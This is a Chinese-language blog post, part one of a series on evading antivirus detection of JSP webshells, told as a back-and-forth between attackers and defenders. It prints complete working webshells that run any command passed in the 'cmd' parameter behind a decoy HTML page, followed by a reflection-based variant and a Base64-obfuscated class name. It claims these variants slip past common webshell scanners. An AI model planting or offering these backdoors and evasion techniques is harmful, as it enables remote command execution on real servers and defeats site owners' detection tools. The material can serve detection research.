[Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)

从攻防对抗辩证性分析jsp免杀

从最早的最朴素木马

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<html>
<body>
<h2>Hello Aur0ra!</h2>
</body>
</html>

<%
    //获取cmd参数
    String cmd = request.getParameter("cmd");

    //执行命令
    Process process = Runtime.getRuntime().exec(cmd);

    //回显
    InputStream in = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
    String tmp = null;
    while((tmp = bufferedReader.readLine())!=null){
        response.getWriter().println(tmp);
    }
%>

上面是一个最简单的木马,最初的时候采用的防御姿态就是直接禁止执行了Runtime,这算是第一次防御

Runtime被过滤后,geeker们又会想有没有什么方法可以替代Runtime呢?

于是就直接跟踪Runtime的底层实现,发现是借调了ProcessBuilder的方法,那我们就可以直接采用ProcessBuilder的方法执行
image

这样也是可以成功执行的,而后又禁止了ProcessBuilder。而后,Geekers又找了Process等来替代,作为防御方,自然得跟进禁止。

最终那几个常用的命令执行类都被ban了。但Geekers怎么甘心,既然你不让我实例化,那我就直接开始反射大法。(这样算是第二次的攻防了)

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@page language="java" pageEncoding="utf-8" %>
<html>
<body>
<h2>Hello Aur0ra!</h2>
</body>
</html>

<%
    //获取cmd参数
    String cmd = request.getParameter("cmd");



    Class<?> clazz = Class.forName("java.lang.Runtime");
    Method getRuntime = clazz.getMethod("getRuntime");
    Runtime runtime = (Runtime)getRuntime.invoke(null);

    Method exec = clazz.getMethod("exec", String.class);
    Process process = (Process) exec.invoke(runtime, cmd);
    
    
    
    //回显
    InputStream in = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
    String tmp = null;
    while((tmp = bufferedReader.readLine())!=null){
        response.getWriter().println(tmp);
    }
%>

反射就代表了类对象可以被字符串控制,为了避免关键字,上述字符串又可以进行编码的等奇奇怪怪的处理,从而绕过防御

例如将Runtime关键字进行编解码操作,降低查杀率

Class<?> clazz = Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=".getBytes(StandardCharsets.UTF_8))));

image
image

用常见的几种shell查杀工具,最多对index.jsp能够查出来Runtime类,把Runtime替换成ProcessBuilder就已经无法查杀了,更不用说利用反射生成的backdoor

动态编译加载

由于字符串的可变性,可以提高免杀,我们可以先将字符串写到一个临时java或者jsp中,当服务器端为热加载时,就可以成功getshell

posted @ 2022-01-20 15:35  Aur0ra*  阅读(269)  评论(0编辑  收藏  举报